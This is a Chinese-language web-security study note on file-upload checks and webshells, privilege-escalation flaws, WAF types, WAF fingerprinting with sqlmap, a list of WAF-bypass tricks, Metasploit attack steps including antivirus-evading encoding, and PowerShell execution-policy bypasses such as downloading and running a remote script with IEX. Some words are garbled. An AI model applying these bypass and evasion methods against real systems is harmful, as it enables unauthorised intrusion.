    危害:非法用戶可以利用上傳的惡意腳本文件控制整個(gè)網(wǎng)站,。甚至控制服務(wù)器,這個(gè)惡意文件又稱webS核力量,也可將腳本稱為一種網(wǎng)頁后門,WebShell叫阿奔具有強(qiáng)大功能,比如查看服務(wù)器中的文件,執(zhí)行系統(tǒng)命令。

    2,常見的上傳檢測規(guī)則:

    A,服務(wù)器MIME類型檢測Content-type內(nèi)容

    B,客戶端JavaScript檢測 檢測文件擴(kuò)展名

    C,服務(wù)器目錄路經(jīng)檢測path參數(shù)

    D,服務(wù)器文件名拓展名檢測estension內(nèi)容

    E,服務(wù)器文件內(nèi)容檢測(是否合法或含有惡意代碼)?????????????

    邏輯漏洞:

    就是指攻擊者鯉魚精業(yè)務(wù)的設(shè)計(jì)缺陷,獲取敏感信息或破壞業(yè)務(wù)的完整性,

    越權(quán)訪問:水平和垂直越權(quán) 。

    越權(quán)訪問攻擊測試鏈接:http://172.16.200.12/yuequan/test2/admin/viewpassword.

    WAF:(web應(yīng)用防火墻)是通過執(zhí)行一系列對HTTP/HTTPS的安全策略來專門為web應(yīng)用提供保護(hù)。

    WAF類型: 軟件型(直接檢測服務(wù)器上是否存在WEBshell)

    硬件型(支持多種部署,在旁聽監(jiān)聽模式時(shí)只記錄攻擊不進(jìn)行攔截)

    云waf(一般以反向代理的形式工作,通過配置NS記錄干活CNAME記錄,是對網(wǎng)站的請求優(yōu)先經(jīng)過WAF主機(jī),經(jīng)過WAF過濾后,將認(rèn)為無害的請求報(bào)文在傳輸給實(shí)際網(wǎng)站服務(wù)器進(jìn)行請求)

    網(wǎng)站系統(tǒng)內(nèi)置WAF(在網(wǎng)站內(nèi)內(nèi)置的過濾,直接鑲嵌在代碼里,自由度比較高,有以下四種:①輸入?yún)?shù)強(qiáng)制類型轉(zhuǎn)換②輸入?yún)?shù)合法性檢測③關(guān)鍵函數(shù)執(zhí)行,對經(jīng)過代碼流程的輸入進(jìn)行檢測④對輸入的數(shù)據(jù)進(jìn)行替換過后再繼續(xù)執(zhí)行代碼執(zhí)行流程)網(wǎng)站系統(tǒng)內(nèi)置的WAF與業(yè)務(wù)更加切合,在對安全與業(yè)務(wù)都比較了解的情況下,可更

    少的收到誤報(bào)與漏報(bào)。

    WAF判斷 方法:①SQLMap?? 輸入sqlmap.py -u “http://xxx.com” --identify-waf --batch??? 便可找到waf類型

    ②直接在相對應(yīng)網(wǎng)站的url后加最基礎(chǔ)的測試語句并放在一個(gè)不存在的參數(shù)名中。

    繞過waf的方法:1,大小寫混合

    2url編碼

    3,替換關(guān)鍵字

    4,使用注釋

    5,多參數(shù)請求拆分

    6,HTTP參數(shù)污染

    7,生僻函數(shù)

    8,尋找網(wǎng)站原站IP

    9,注入?yún)?shù)到cookies中

    Meteasploit技術(shù):

    ?? 在使用Kali操作系統(tǒng)是應(yīng)注意即使更新源,就像平時(shí)及時(shí)更新手機(jī)APP更新命令如下:

    A,apt-get update:只更新軟件包的索引源,作用:同步源的軟件包的索引信息,從而進(jìn)行軟件更新。

    B,Apt-get upgrade:升級系統(tǒng)上安裝的所有軟件包,如果失敗則保持更新之前的狀態(tài)。

    Apt-get dist-upgrade:升級整個(gè)Liunux系統(tǒng)(不僅升級所有已安裝的軟件包,而且會(huì)處理升級過程中可能出現(xiàn)的沖突,在某些情況下,他的部分升級需要人工參與)。

    滲透攻擊大致步驟:

    *掃描目標(biāo)及系統(tǒng),尋找可用漏洞。

    *選擇并配置一個(gè)漏洞利用模塊。

    *選擇并配置一個(gè)攻擊利用模塊。

    *選擇一個(gè)編碼技術(shù),用來繞過殺毒軟件的查殺。

    *滲透攻擊。

    Powershell

    是一種基于任務(wù)的命令行解釋器和腳本環(huán)境,可以說是一種強(qiáng)大的shell,如同linux的bash,專為系統(tǒng)管理員而設(shè)計(jì),以.NET框架為平臺,Windows PowerShell幫助IT專業(yè)人員和超級用戶控制和自動(dòng)化管理Windows操作系統(tǒng)和運(yùn)行在操作系統(tǒng)上的應(yīng)用。現(xiàn)被更廣泛用于滲透測試等方面,在不需要寫入磁盤的情況下執(zhí)行命令,也可以逃避Anti-Virus檢測。另外,可以把PowerShell看作命令行提示符cmd.exe的擴(kuò)充。

    ?對于滲透,使用PowerShell場景:

    第一種我們需要獲得免殺或者更好的隱蔽攻擊對方的win機(jī)器,可以通過釣魚等方式直接執(zhí)行命令

    第二種我們已經(jīng)到了對方網(wǎng)絡(luò),或是一臺DMZ的win機(jī)器,那么我們利用PowerShell對內(nèi)網(wǎng)繼續(xù)深入

    基于.NET框架

    操作系統(tǒng)信任

    提供win系列操作系統(tǒng)的幾乎一切訪問權(quán)限

    win7之后默認(rèn)安裝

    腳本可以運(yùn)行在內(nèi)存中,不需要寫入磁盤

    cmd.exe通常會(huì)被安全軟件阻止,一般PowerShell不會(huì)

    常用攻擊工具:

    ?

    可以輸入Get-Host或者$PSVersionTable.PSVERSION命令查看當(dāng)前系統(tǒng)的PowerShell版本。

    一個(gè)PowerShell腳本其實(shí)就是一個(gè)簡單的 文本文件,這個(gè)文件包含了一系列的 PowerShell命令,每個(gè)命令顯示為獨(dú)立的一行,PowerShell文件的后綴為 .PS1。

    執(zhí)行策略:

    為防止惡意腳本的執(zhí)行,PowerShell有一個(gè)執(zhí)行策略,默認(rèn)情況下,這個(gè)執(zhí)行策略被設(shè)置為受限。

    我們可以使用: Get-ExecutionPolicy? 命令查看PowerShell當(dāng)前的執(zhí)行策略。它有4個(gè)策略。

    Restricted:腳本不能運(yùn)行(默認(rèn)設(shè)置)

    RemoteSigned:本地創(chuàng)建的腳本可以運(yùn)行,但是從網(wǎng)上下載的腳本不能運(yùn)行(擁有數(shù)字證書簽名的除外)

    AllSigned:僅當(dāng)腳本由受信任的發(fā)布者簽名時(shí)才能運(yùn)行;

    Unrestricted:允許所有的腳本執(zhí)行

    另外修改PowerShell執(zhí)行策略:Set-ExecutionPolicy 策略名 #該命令需要管理員權(quán)限運(yùn)行

    運(yùn)行腳本:

    運(yùn)行一個(gè)腳本,必須鍵入完整的路徑和文件名,例如,你要運(yùn)行一個(gè)名為a.ps1的腳本,可以鍵入c:\script\a.ps1

    但如果PowerShell腳本文件在你的系統(tǒng)目錄中,那么在命令提示符后直接鍵入腳本文件名即可運(yùn)行,如.\a.ps1的前面就加上“.\”,這和在Linux下執(zhí)行Shell腳本的方法一樣。

    管道:

    管道的作用就是將一個(gè)命令的輸出作為另一個(gè)命令的輸入,兩個(gè)命令之間用管道符號(|)連接

    例如:

    假設(shè)停止所有目前運(yùn)行中的,以“note"字符開頭命名的程序

    Get-Process note*|stop-process

    基本知識:

    在PowerShell下,類似“cmd命令”叫做“cmdlet” ,其命令的命名規(guī)范很一致,都采用了 動(dòng)詞-名詞的形式,如Net-Item,動(dòng)詞一般為Add、New、Get、Remove、Set等。PowerShell還兼容cmd和Linux命令,如查看目錄可以使用 dir 或者 ls ,并且PowerShell命令不區(qū)分大小寫。

    后面會(huì)以文件操作為例講解PowerShell命令的基本用法

    ?

    如果運(yùn)行PowerShell腳本程序,必須用管理員權(quán)限將Restricted策略改成Unrestricted

    在滲透測試時(shí),就需要采用一些方法繞過策略來執(zhí)行PowerShell腳本,列舉如下三種方式

    1.繞過本地權(quán)限執(zhí)行

    2.本地隱藏繞過權(quán)限執(zhí)行腳本

    3.用IEX下載遠(yuǎn)程PS1腳本繞過權(quán)限執(zhí)行

    總結(jié)

    以上是生活随笔為你收集整理的web安全攻防笔记的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。